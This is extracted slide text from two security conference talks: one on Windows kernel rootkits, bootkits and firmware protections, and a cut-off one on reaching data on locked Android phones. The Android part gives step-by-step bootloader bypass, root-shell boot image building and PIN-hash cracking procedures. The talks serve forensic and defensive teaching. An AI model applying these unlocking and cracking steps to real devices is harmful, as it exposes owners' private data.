PsSetLoadImageNotifyRoutine: it provides notification when a process, library or kernel memory is mapped into memory. • IoRegisterFsRegistrationChange: it provides notification when a filesystem becomes available. • IoRegisterShutdownNotification: the driver handler (IRP_MJ_SHUTDOWN) acts when the system is about going to down. • KeRegisterBugCheckCallback: it helps drivers to receive a notification (for cleaning tasks) before a system crash. DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 8 • PsSetCreateThreadNotifyRoutine: indicates a routine that is called every time when a thread starts or ends. • PsSetCreateProcessNotifyRoutine: when a process starts or finishes, this callback is invoked (rootkits and AVs). • DbgSetDebugPrintCallback: it is used for capturing debug messages. • CmRegisterCallback( ) or CmRegisterCallbackEx( ) are called by drivers to register a RegistryCallback routine, which is called every time a thread performs an operation on the registry. • Malwares have been using this type of callbacks for checking whether their persistence entries are kept and, just in case they were removed, so the malware adds them back. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 9 0: kd> dd nt!CmpCallBackCount L1 fffff801`aa733fcc 00000002 0: kd> dps nt!CallbackListHead L2 fffff801`aa769190 ffffc000`c8d62db0 fffff801`aa769198 ffffc000`c932c8b0 0: kd> dt nt!_LIST_ENTRY ffffc000`c8d62db0 [ 0xffffc000`c932c8b0 - 0xfffff801`aa769190 ] +0x000 Flink : 0xffffc000`c932c8b0 _LIST_ENTRY [ 0xfffff801`aa769190 - 0xffffc000`c8d62db0 ] +0x008 Blink : 0xfffff801`aa769190 _LIST_ENTRY [ 0xffffc000`c8d62db0 - 0xffffc000`c932c8b0 ] ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 10 0: kd> !list -t _LIST_ENTRY.Flink -x "dps" -a "L8" 0xffffc000`c932c8b0 ffffc000`c932c8b0 fffff801`aa769190 nt!CallbackListHead ….. ffffc000`c932c8c8 01d3c3ba`27edfc12 ffffc000`c932c8d0 fffff801`6992a798 vsdatant+0x67798 ffffc000`c932c8d8 fffff801`69951a68 vsdatant+0x8ea68 ffffc000`c932c8e0 00000000`000a000a ..... fffff801`aa7691c0 00000000`bee0bee0 fffff801`aa7691c8 fffff801`aa99b600 nt!HvpGetCellFlat ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 11 • At same way, PsSetCreateProcessNotifyRoutine( ) routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be called whenever a process is created or deleted. 0: kd> dd nt!PspCreateProcessNotifyRoutineCount L1 fffff801`aab3f668 00000009 0: kd> .for (r $t0=0; $t0 < 9; r $t0=$t0+1) { r $t1=poi($t0 * 8 + nt!PspCreateProcessNotifyRoutine); .if ($t1 == 0) { .continue }; r $t1 = $t1 & 0xFFFFFFFFFFFFFFF0; dps $t1+8 L1;} • Malwares composed by kernel drivers, which use the PsSetLegoNotifyRoutine( ) kernel callback to register a malicious routine that is called during the thread termination. The KTHREAD.LegoData field provides the direct address. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 12 0: kd> .for (r $t0=0; $t0 < 9; r $t0=$t0+1) { r $t1=poi($t0 * 8 + nt!PspCreateProcessNotifyRoutine); .if ($t1 == 0) { .continue }; r $t1 = $t1 & 0xFFFFFFFFFFFFFFF0; dps $t1+8 L1;} ffffe001`134c8b08 fffff801`aa5839c4 nt!ViCreateProcessCallback ffffe001`139e1138 fffff801`678175f0 cng!CngCreateProcessNotifyRoutine ffffe001`13b43138 fffff801`67e6c610 kl1+0x414610 ffffe001`13bdb268 fffff801`685d1138 PGPfsfd+0x1c138 ffffe001`13b96858 fffff801`68a53000 ksecdd!KsecCreateProcessNotifyRoutine ffffe001`14eeacc8 fffff801`68d40ec0 tcpip!CreateProcessNotifyRoutineEx ffffe001`164ffce8 fffff801`67583c70 CI!I_PEProcessNotify ffffe001`13b6e4b8 fffff801`68224a38 klflt!PstUnregisterProcess+0xfac ffffe001`1653e4d8 fffff801`699512c0 vsdatant+0x8e2c0 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 13 kd> dt _KTHREAD By now, we have seen malwares using KTHREAD.LegoData field for registering a malicious routine, which would be called during the thread termination. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 14  Windows offers different types of drivers such as legacy drivers, filter drivers and minifilter drivers (malwares can be written using any one these types), which could be developed using WDM or WDF frameworks (of course, UMDF and KMDF take part) • To analyze a malicious driver, remember this sequence of events: • The driver image is mapped into the kernel memory address space. • An associated driver object is created and registered with Object Manager, which calls the entry point and fills the DRIVER_OBJECT structure’s fields. DRIVER DEVICE_OBJECT DRIVER_OBJECT HARDWARE RES. I/O CreateDevice( ) (one or more objects) ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 15 • Most ring 0 malwares install filter drivers for: • modifying aspects and behavior of existing drivers • filtering results of operations (reading file, for example) • adding new malicious features to a driver/devices (for example, keyloggers) • Oftenly found in filter drivers (mainly the malicious one) for intercepting and altering data, a driver can easily “attach” (using IoAttachDevice( )) one device object to another device object (similar to a “pipeline) to receive I/O requests (see next slide). • The AddDevice( ) routine is used to create an unamed Device Object and to attach it to a named Device Object (ex: aborges) from a layered driver (lower-level driver). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 16 • Each IRP will be processed by a dispatch routine, which is picked up from its MajorFunction Table. • The correct dispatch routine will be called to handle the request, picking the IRP parameters from the own IO_STACK_LOCATION by calling the IoGetCurrentIrpStackLocation( ) routine. • Additionally, these IRP parameters could be passed to the next IO_STACK_LOCATION by using the IoCopyCurrentIrpStackLocation( ) routine or even to the next driver by calling IoSkipCurrentStackLocation( ) routine. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 17 • Alternatively, this IRP could be passed down to the layered driver by using function such as IoCallDriver( ). • Usually, rootkits use the same IoCallDriver( ) to send directly request to the filesystem driver, evading any kind of monitoring or hooking at middle of the path.  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 18 Tcpip.sys Upper Filter Driver Function Driver Lower Filter Driver Miniport driver Physical Device Object Upper Filter Device Object Function Device Object Lower Filter Device Object Driver Stack IoCallDriver( ) IoCallDriver( ) IoCallDriver( ) IoCallDriver( ) Device Stack IO_STACK_LOCATION 4 IO_STACK_LOCATION 3 IO_STACK_LOCATION 2 IO_STACK_LOCATION 1 No Completation Routine Completation Routine 4 Completation Routine 3 Completation Routine 2 Device Stack The IoCompleteRequest( ) manages calling these routines in the correct order (bottom-up).  DEFCON 2018 - USA ROOTKITS: RING 0 DEFCON 2018 - USA 19 IO_STACK_LOCATION IO_STACK_LOCATION IO_STACK_LOCATION .............. S T A T I C • A IRP is usually generated by the I/O Manager in response to requests. • An IRP can be generated by drivers through the IoAllocateIrp( ) function. • Analyzing malware, we are usually verify functions such as IoGetCurrentIrpStackLocation(), IoGetNextIrpStackLocation( ) and IoSkipCurrentIrpStackLocation( ). • At end, each device holds the responsability to prepare the IO_STACK_LOCATION to the next level, as well a driver could call the IoSetCompletationRoutine( ) to set a completation routine up at CompletationRoutine field. D Y N A M I C ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 20 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER Parameters field depends on the major and minor functions! ROOTKITS: RING 0 DEFCON 2018 - USA 21 Parameter field depends on major and minor function number. Thus, the IRPs being used are related to the action. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 22 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 23 Malicious driver rootkits: ring 0 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 24 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 25 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 26 DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 27 DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 28 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 29 • Naturally, as closest at bottom of device stack occurs the infection (SCSI miniport drivers instead of targeting File System Drivers), so more efficient it is. • Nowadays, most monitoring tools try to detect strange activities at upper layers. • Malwares try to intercept requests (read / write operations) from hard disk by manipulating the MajorFunction array (IRP_MJ_DEVICE_CONTROL and IRP_INTERNAL_CONTROL) of the DRIVER_OBJECT structure.  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 30 • Rootkits try to protect itself from being removed by modifying routines such as IRP_MJ DEVICE_CONTROL and hooking requests going to the disk (IOCTL_ATA_* and IOCTL_SCSI_*). • Another easy approach is to hook the DriverUnload( ) routine for preventing the rootkit of being unloaded. • However, any used tricks must avoid touching critical areas protected by KPP (Kernel Patch Guard) and one of tricky methods for find which are those areas is trying the following: ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 31 kd> !analyze –show 109 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER Thanks, Alex Ionescu  ROOTKITS: RING 0 DEFCON 2018 - USA 32 • Most time, malwares have allocated a kind of hidden filesytem in free sectors to store configuration files and they are referred by random device object names generated during the boot. • Few authors of ring 0 malwares are careless because they write malicious drivers that provide access to shared user- mode buffers using Neither method (METHOD_NEITHER), without any data validation, exposing it to memory corruption and, most time, leakage of information. Ridiculous.  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 33 • Additionally, malwares composed by executable + drivers have been using APLC (Advanced Local Procedure Call) in the communication between user mode code and kernel drivers instead of using only IOCTL commands. • Remember APLC interprocess-communication technique has been used since Windows Vista, as between lsass.exe and SRM( Security Reference Monitor). Most analysts are not used to seeing this approach. • Malwares do not choose an specific driver during the boot for injection, but try to randomly pick up a driver by parsing structures such as _KLDR_DATA_TABLE_ENTRY. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 34 • Certainly, hooking the filesystem driver access is always a possible alternative: • IoCreateFile( )  gets a handle to the filesystem. • ObReferenceObjectByHandle( )  gets a pointer to FILE_OBJECT represented by the handle. • IoCreateDevice( )  creates a device object (DEVICE_OBJECT) for use by a driver. • IoGetRelatedDeviceObject( )  gets a pointer to DEVICE_OBJECT. • IoAttachDeviceToDeviceStack( )  creates a new device object and attaches it to DEVICE_OBJECT pointer (previous function). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 35 • As it is done by AVs, malwares also hook functions such as ZwCreate( ) for intercepting all opened requests sent to devices.  • After infecting a system by dropping kernel drivers, malwares usually force the system reboot calling ZwRaiseHardError( ) function and specifying OptionShutdownSystem as 5th parameter. • Of course, it could be worse and the malware could use IoRegisterShutdownNotification( ) routine registers the driver to receive an IRP_MJ_SHUTDOWN IRP notification when the system is shutdown for restoring the malicious driver in the next boot just in case it is necessary. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 36 • Malwares continue allocating (usually RWX, although on Windows 8+ it could specify NonPagePoolNX) and marking their pages by using ExAllocatePoolWithTag( ) function (and other at same family ExAllocatePool*). Fortunately, it can be easily found by using memory analysis: ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 37 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 38 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ROOTKITS: RING 0 DEFCON 2018 - USA 39 0: kd> dt nt!_KTHREAD • APC (user and kernel mode) are executed in the thread context, where normal APC executes at PASSIVE_LEVEL (thread is on alertable state) and special ones at APC_LEVEL (software interruption below DISPATCH LEVEL, where run Dispatch Procedure Calls). • APC Injection  It allows a program to execute a code in a specific thread by attaching to an APC queue (without using the CreateRemoteThread( )) and preempting this thread in alertable state to run the malicious code. (QueueUserAPC( ), KeInitializeAPC( ) and KeInsertQueueAPC( )). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER DEFCON 2018 - USA 40 ADVANCED MALWARES AND ROOTKITS RING -2 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES 41 • MBR rootkits: Petya and TLD4 (both in bootstrap code), Omasco (partition table) and Mebromi (MBR + BIOS, triggering SW System Management Interrupt (SMI) 0x29/0x2F for erasing the SPI flash) • VBR rootkits: Rovnix (IPL) and Gapz (BPB – Bios Parameter Block, which it is specific for the filesystem) • UEFI rootkits: replaces EFI boot loaders and, in some cases, they also install custom firmware executable (EFI DXE) • Modern malwares alter the BPB (BIOS parameter block), which describes the filesystem volume, in the VBR. • We should remember that a rough overview of a disk design is: MBR  VBR  IPL  NTFS Initial Program Loader. It has 15 sectors containing the bootstrap code for parsing the NTFS and locating the OS boot loader. Locate the active partition and reads the first sector It contains necessary boot code for loading the OS loader DEFCON 2018 - USA ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 42 Overwritten with an offset of the bootkit on the disk. Thus, in this case, the malicious code will be executed instead of the IPL.  BIOS_PARAMETER __BLOCK_NTFS ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 43 Eventually, analyzing and debugging the MBR/VBR (loaded as binary module) is unavoidable, but it’s not so difficult as it seems. Furthermore, we never know when an advanced malware or a ransomwares (TDL4 and Petya) will attack us.  expected MBR entry point and it must be included in the IDA Pro’s load_file. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 44 • MBR modifications (partition table or MBR code) and VBR+IPL modifications (BPB or IPL code) have been used as an effective way to bypass the KCS. • As injecting code into the Windows kernel has turned out to be a bit more complicated, to modern malwares are used to bypassing the KCS (Kernel-Mode Code Signing Policy) by: • Disabling it  Booting the system on Testing Mode. Unfortunately, it is not so trivial because the Secure Boot must be disabled previously and, afterwards, it must be rebooted.  • Changing the kernel memory  MBR and/or VBR could be changed. However, as BIOS reads the MBR and handle over the execution to the code there, so changing memory could be lethal.  • Even trying to find a flaw in the firmware  it is not trivial and the Secure Boot must be disabled. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 45 Setting TESTING mode is a very poor drive signature “bypassing”. Actually, there are more elegant methods.  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 46 BIOS MBR EFI VBR Bootmgr Bootmgfw.efi BCD Winload.exe Kdcom.dll ELAM Ntoskrnl.exe Code Integrity Mebromi Petya/Mebromi/ Omasco/TLD4 Rovnix and Gapz UEFI support since Windows 7 SP1 x64 BPB + VBR code + strings + 0xAA55 Read its configuration from Boot Configuration Data (BCD) ci.dll HAL.dll Classifies modules as good, bad and unknown. Additionally, it decides whether load a module or not according to the policy. Bootkits could attack it before loading the kernel and ELAM.  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 47 • Malwares infect the bootmgr, which switches the processor execution from real mode to protected mode, and use the int 13h interrupt to access the disk drive, patch modules and load malicious drivers. • The winload.exe roles are the following: • enables the protect mode. • checks the modules’ integrity and loads the Windows kernel. • loads the several DLLs (among them, the ci.dll, which is responsible for Code Integrity) and ELAM (Early Launch Anti Malware, which was introduced on Windows 8 as callback methods and tries to prevent any strange code execution in the kernel). • loads drivers and few system registry data. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 48 • Furthermore, if the integrity checking of the winload.exe is subverted, so a malicious code could be injected into the kernel because we wouldn’t have an integrity control anymore. • Most advanced rootkits continue storing/reading (opcode 0x42, 0x43 and 0x48) their configuration and payloads from encrypted hidden filesystems (usually, FAT32) and implementing modified symmetric algorithms (AES, RC4, and so on) in these filesystems. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 49 • SMM basics: • Interesting place to hide malwares because is protected from OS and hypervisors. • The SMM executable code is copied into SMRAM and locked during the initialization. • To switch to SMM, it is necessary to triger a SMI (System Management Interrupt), save the current content into SMRAM and execute the SMI handler code. • A SMI could be generated from a driver (ring 0) by writing a value into APMC I/O / port B2h or using a I/O instruction restart CPU feature. • The return (and execution of the prior execution) is done by using RSM instruction. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 50 MBR VBR LOADER OS SPI Flash Ring 0 malwares like rootkits SPI malwares Bootkit malwares UEFI: Bootx64.efi and Bootmgfw.efi (Kernel Code Signing Policies) UEFI Services SMM SMM malwares UEFI/BIOS malwares (Flash Write Protection) ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 51 SEC  PEI  DXE  BDS  TSL  RT  AL • SEC  Security (Caches, TPM and MTRR initialization) • PEI  Pre EFI Initialization (SMM/Memory ) • DXE  Driver Execution Environment (platform + devices initialization , Dispatch Drivers, FV enumumeration) • BDS  Boot Dev Select (EFI Shell + OS Boot Loader) • TSL  Transient System Load • RT  Run Time IBB – Initial Boot Block After Life ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 52 SEC PEI DXE BDS TSL HARDWARE Boot Guard OS Secure Boot UEFI Secure Boot UEFI Secure Boot IBB malwares and exploits attack here  Hypervisor Windows Boot Loader Kernel drivers Windows ELAM 3rd party drivers Apps The Windows uses the UEFI to load the Hypervisor and Secure Kernel. Acts on drivers that are executed before Windows being loaded and initialized. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 53 • Remember: the SPI Flash is composed by many regions such as Flash Descriptors, BIOS, ME (Management Engine), GbE and ACPI EC. Access Control table defines who can have READ/WRITE access to other regions. Descriptors GbE ME ACPI BIOS ME: has full access to the DRAM, invisible at same time, is always working (even then the system is shutdown) and has access to network interface. Conclusion: a nightmare.  ROM + FW (Manifest+ Modules) ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 54 • Intel Boot Guard (controlled by ME), introduced by Intel, is used to validate the boot process through flashing a public key associated to BIOS signature into FPFs (Field Programmable Fuses) from Intel ME. • Obviously, few vendors have been leaving closemnt fuse unset, so it could be lethal.  • Of course, for a perfect Boot Guard working, the SPI region must be locked and the Boot Guard configuration must be set against a SMM driver rootkit.  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 55 CPU boot ROM BG startup Authenticated Code Module Loaded into Authenticated Code RAM SEC + PEI (IBB) Verifies the IBB (Initial Boot Block) BIOS • Public key’s hash, used for verifying the signature of the code with the ACM, is hard-coded within the CPU. • It almost impossible to modify the BIOS without knowing the private key. • At end, it works as a certificate chain.  SPI Flash Memory IBB verifies the BIOS content ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 56  Another protection feature named BIOS Guard is also running in the SMM, which protects the platform against not-authorized: • SPI Flash Access (through BIOS Guard Authenticated Code Module)  prevents an attacker to escalate privileges to SMM by writting a new image to SPI. • BIOS update  attacker (through a DXE driver) could update the BIOS to a flawed BIOS version. • Boot infection/corruption.  BIOS Guard allows that only trusted modules (by ACM) be able to modify the SPI flash memory and protect us against rookit implants. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 57 • Secure Boot: • Protects the entire path shown previously against bootkit infection. • Protects key components during kernel loading, key drivers and important system files, requesting a valid digital signature. • Prevents loading of any code that are not associated a valid digital signature. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 58 • Two essential items on Secure Boot are: • Platform Key (PK – must be valid), which establishes a trust relationship between the platform owner and the platform firmware, verifies the Key Exchange Key (KEK). • KEK, which establishes a trust relationship between the OS and the platform firmware, verifies: • Authorized Database (db)  contains authorized signing certificates and digital signatures • Forbidden Database (dbx)  contains forbidden certificates and digital signatures. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 59 • Obviously, if the Platform Key is corrupted, everything is not valid anymore because the SecureBoot turns out disabled when this fact happens.  • Unfortunately, few vendors continue storing important Secure Boot settings in UEFI variables. However, if these UEFI variables are exploited through ring 0/-2 malware or bootkit, so the SecureBoot can be disabled. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 60 • Without ensuring the UEFI image integrity, a rookit could load another UEFI image without being noticed.  • UEFI BIOS supports TE (Terse Executable) format (signature 0x5A56 - VZ). • As TE format doesn’t support signatures, BIOS shouldn’t load this kind of image because Signature checking would be skipped. • Therefore, a rootkit could try to replace the typical PE/COFF loader by a TE EFI executable, so skipping the signature checking and disabling the Secure Boot. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 61  Fortunately, new releases of Windows 10 (version 1607 and later) has introduced an interesting SMM protection known as Windows SMM Security Mitigation Table (WSMT).  In Windows 10, the firmware executing SMM must be “authorized and trusted” by VBS (Virtualized Based Security). ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 62 • These SMM Protections flags that can be used to enable or disable any WSMT feature. • FIXED_COMM_BUFFERS: it guarantees that any input/output buffers be filled by value within the expected memory regions. • SYSTEM_RESOURCE_PROTECTION: it works as an indication that the system won’t allow out-of-band reconfiguration of system resources. • COMM_BUFFER_NESTED_PTR_PROTECTION: it is a validation method that try to ensure that any pointer whith the fixed communication buffer only refer to address ranges that are within a pre-defined memory region. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 63 • chipsec_util.py spi dump spi.bin • chipsec_uti.py decode spi.bin Is the customer Safe?  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 64 chipsec_main --module common.bios_wp ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 65 chipsec_main.py -m common.bios_smi ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 66 • The BIOS_CNTL register contains: • BIOS Write Enable(BWE)  if it is set to 1, an attacker could write to SPI flash. • BIOS Lock Enable (BLE)  if it is set to 1, it generates an SMI routine to run just in case the BWE goes from 0 to 1. • Of course, there should be a SMM handler in order to prevent setting the BWE to 1. • What could happen if SMI events were blocked?  • The SMM BIOS write protection (SMM_BWP) , which protects the entire BIOS area, is not enabled.  ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 67 chipsec_main.py -m common.spi_lock ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 68 • SPI Protect Range registers protect the flash chip against writes. • They control Protected Range Base and Protected Range Limit fields, which set regions for Write Protect Enable bit and Read Protect Enable bit. • If the Write Protect Enable bit is set, so regions from flash chip that are defined by Protected Range Base and Protected Range Limit fields are protected. • However, SPI Protect Range registers DO NOT protect the entire BIOS and NVRAM. • In a similar way to BLE, the HSFSS.FLOCKDN bit (from HSFSTS SPI MMIO Register) prevents any change to Write Protect Enable bit. Therefore, malware can’t disable the SPI protected ranges for enabling access to the SPI flash memory. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 69 python chipsec_main.py --module common.bios_ts ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 70 • Top Swap Mode, which is enabled by BUC.TS in Root Complex range, is a feature that allows fault-tolerant update of the BIOS boot-block. • Therefore, when Top Swap Configuration and swap boot-block range in SPI are not protected or even locked, any malware could force an execution redirect of the reset vector to backup bootblock because CPU will fetch the reset vector at 0xFFFEFFF0 instead of 0xFFFFFFF0 address. • SMRR (System Management Range Registers) blocks the access to SMRAM (range of DRAM that is reserved by BIOS SMI handlers) while CPU is not in SMM mode, preventing it to execute any SMI exploit on cache. ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER ADVANCED MALWARES DEFCON 2018 - USA 71 chipsec_main.py -m common.smrr ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER CONCLUSION DEFCON 2018 - USA 72 • Most security professionals have been facing problems to understand how to analyze malicious drivers because the theory is huge and not easy. • Real customers are not aware about ring -2 threats and they don’t know how to update systems’ firmwares. • All protections against implants are based on integrity (digital certificate and signature). However, what would it happen whether algorithms were broken (QC - quantum computation)? ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER THANK YOU FOR ATTENDING MY TALK! LinkedIn: http://www.linkedin.com/in/aleborges Twitter: @ale_sp_brazil Website: http://blackstormsecurity.com E-mail: alexandreborges@blackstormsecurity. com DEFCON 2018 - USA 73 ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER • Malware and Security Researcher. • Consultant, Instructor and Speaker on Malware Analysis, Memory Analysis, Digital Forensics, Rootkits and Software Exploitation. • Member of Digital Law and Compliance Committee (CDDC/ SP) • Reviewer member of the The Journal of Digital Forensics, Security and Law. • Refereer on Digital Investigation:The International Journal of Digital Forensics & Incident Response • Instructor at Oracle, (ISC)2 and Ex-instructor at Symantec.
pdf
Gaining Access to Android User Data Into The Droid DEF CON 20 Introduction • Why this talk is useful • Defend access / gain access • Device seizure, loss, border crossing, stop and search, espionage... • The company • viaForensics - Mobile security and digital forensics, strong R&D team, government agencies and corporations • The speaker • Thomas Cannon - Director of Breaking Things Challenges • ADB off by default • Screen lock • Code signing for updates and boot images • Encryption • Variety of device hardware, software and configuration Bootloader Essentials • How we use the bootloader • Accessing bootloader mode • Bootloader protocols • Bootloader protection Defeat The Bootloader • S-ON vs S-OFF • @secuflag controlled in radio firmware • Gold Card - specially formatted MicroSD card can bypass carrier ID check when flashing ROMs • White Card - special SIM card used as an authentication token to control access to diagnostic mode HTC Example Defeat The Bootloader • Emulate White Card with hardware, combine with Gold Card to enter diagnostics and clear S-ON HTC Example Defeat The Bootloader • White Card not needed for CDMA phones • Once S-OFF, can RAM load a custom boot image • This technique wipes most devices! But not all. • Successfully used this technique to gain access to some locked stock HTC devices such as HTC Desire • Try it yourself with an XTC Clip HTC Example Forensic Boot Image • Start early in the boot chain before the system loads • Provide ADB root shell over USB which can be used to image the device • Do not mount anything, including cache, to prevent any writes to partitions • Devices with raw NAND flash and wear levelling implemented in software (YAFFS2) can be prevented from overwriting deleted data Build Boot Image $ abootimg -x stock-recovery.img $ abootimg-unpack-initrd $ cd ramdisk (edit ramdisk contents) $ cd .. $ abootimg-pack-initrd -f $ abootimg -u stock-recovery.img -r initrd.img RAM Disk Contents /dev /proc /sbin adbd busybox (+ symlinks) nanddump (to dump partitions) /sys init default.prop (enable root shell, ro.secure=0) init.rc (do not mount partitions, just start adbd) ueventd.rc Flash and RAM Load • Samsung • Dump partitions with ODIN <= 1.52 or Heimdall. Maybe. • Flashing with ODIN or Heimdall • heimdall flash --recovery recovery.bin (Epic 4G) • heimdall flash --kernel zImage (Galaxy S) • HTC • fastboot boot recovery.img (RAM Loading) • fastboot flash recovery recovery.img (flash partition) • Motorola • sbf_flash image name.sbf (make sure it only contains recovery) JTAG Primer • How it works • Flasher Box • ORT • RiffBox • Medusa Box Serial Debug Cable • Some devices have debug access via serial cables which can be used to gain access to data • On Samsung Galaxy SII / Galaxy Note this is activated by grounding ID pin of USB with a 523K ohm resistor • TTL serial access provided on D+ and D- pins of USB connector • Use a Bus Pirate and MicroUSB breakout board to connect Galaxy SII Crack PIN or Password • Salt • /data/data/com.android.providers.settings/databases/ settings.db • SELECT * FROM secure WHERE name = 'lockscreen.password_salt' • PIN / password • /data/system/password.key • Salted SHA1 of password concatenated with salted MD5 Crack PIN or Password • Calculate the value of the salt in lowercase hex with no padding $ python -c "print '%x' % 720624377925219614" a002c0dbeb8351e • Copy the last 32 bytes of password.key (MD5 hash in hex), add a colon and then add the salt 5D8EC41CB1812AC0BD9CB6C4F2CD0122:a002c0dbeb8351e • Crack with software such as oclHashcat-lite  HID Brute Force? Video HID Brute Force • AVR ATMEGA32U4 emulates USB keyboard typing PINs • USB OTG cable for USB host • Devices usually rate limit attempts and wipe after too many incorrect passcodes Android Encryption Android Encryption • Supported since Android 3.0 • Based on dm-crypt • AES 128 CBC • Implementations may vary, e.g. Samsung has their own key management module Android Encryption PBKDF2 x2000 Password/PIN Salt (128 bit) /dev/urandom keylen=32 AES 128 CBC Master Key (128 bit) Key+IV (32 